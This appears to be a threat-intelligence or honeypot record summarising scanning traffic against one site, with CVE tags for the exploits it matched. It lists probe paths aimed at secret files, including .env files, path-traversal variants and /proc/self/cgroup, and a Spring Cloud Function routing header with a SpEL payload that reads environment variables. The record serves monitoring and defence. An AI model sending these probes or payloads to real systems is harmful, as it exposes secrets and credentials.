+http://www.google.com/bot.html)","ja3":"67560f98d68783bd640246df3052c151","session":"7d09f5da-f69c-40f1-9912-4f2c113fadf8","seq":4,"duration_ms":1172,"bytes_in":2504,"bytes_out":312}],"http_methods":[{"method":"GET","count":20},{"method":"POST","count":7},{"method":"DELETE","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/inngest","count":1,"ports":1},{"path":"/@fs/app/.env.production?import&raw??","count":1,"ports":1},{"path":"/","count":1,"ports":1},{"path":"/utils/.env","count":1,"ports":1},{"path":"/settings.py","count":1,"ports":1},{"path":"/css../.env","count":1,"ports":1},{"path":"/read-document","count":1,"ports":1},{"path":"/.env?import&raw","count":1,"ports":1},{"path":"/mcp","count":1,"ports":1},{"path":"/build../.env","count":1,"ports":1},{"path":"/api/inngest","count":1,"ports":1},{"path":"/functionRouter","count":1,"ports":1},{"path":"/proc/self/cgroup","count":1,"ports":1},{"path":"/lib/terminal-xhr.php","count":1,"ports":1},{"path":"/api/templates/preview","count":1,"ports":1}],"distinct_paths_total":29,"top_snis":[{"value":"site.princhub.com","count":29}],"top_hosts":[{"value":"site.princhub.com","count":29}],"top_alpns":[{"value":"h2, http/1.1","count":29}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Content-Length","Content-Type","Host","Spring.cloud.function.routing-Expression","User-Agent","X-Forwarded-For","X-Forwarded-Proto"],"representative":[{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"35.187.246.147","notable":false},{"name":"Cf-Ipcountry","value":"SG","notable":false},{"name":"Cf-Ray","value":"a3fe5f4acbb47156-SIN","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Content-Length","value":"4","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"Spring.cloud.function.routing-Expression","value":"T(java.lang.System).getenv()","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","notable":false},{"name":"X-Forwarded-For","value":"35.187.246.147","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true}],"distinct_sets":4,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-09-24T10:59:44.895683+00:00"}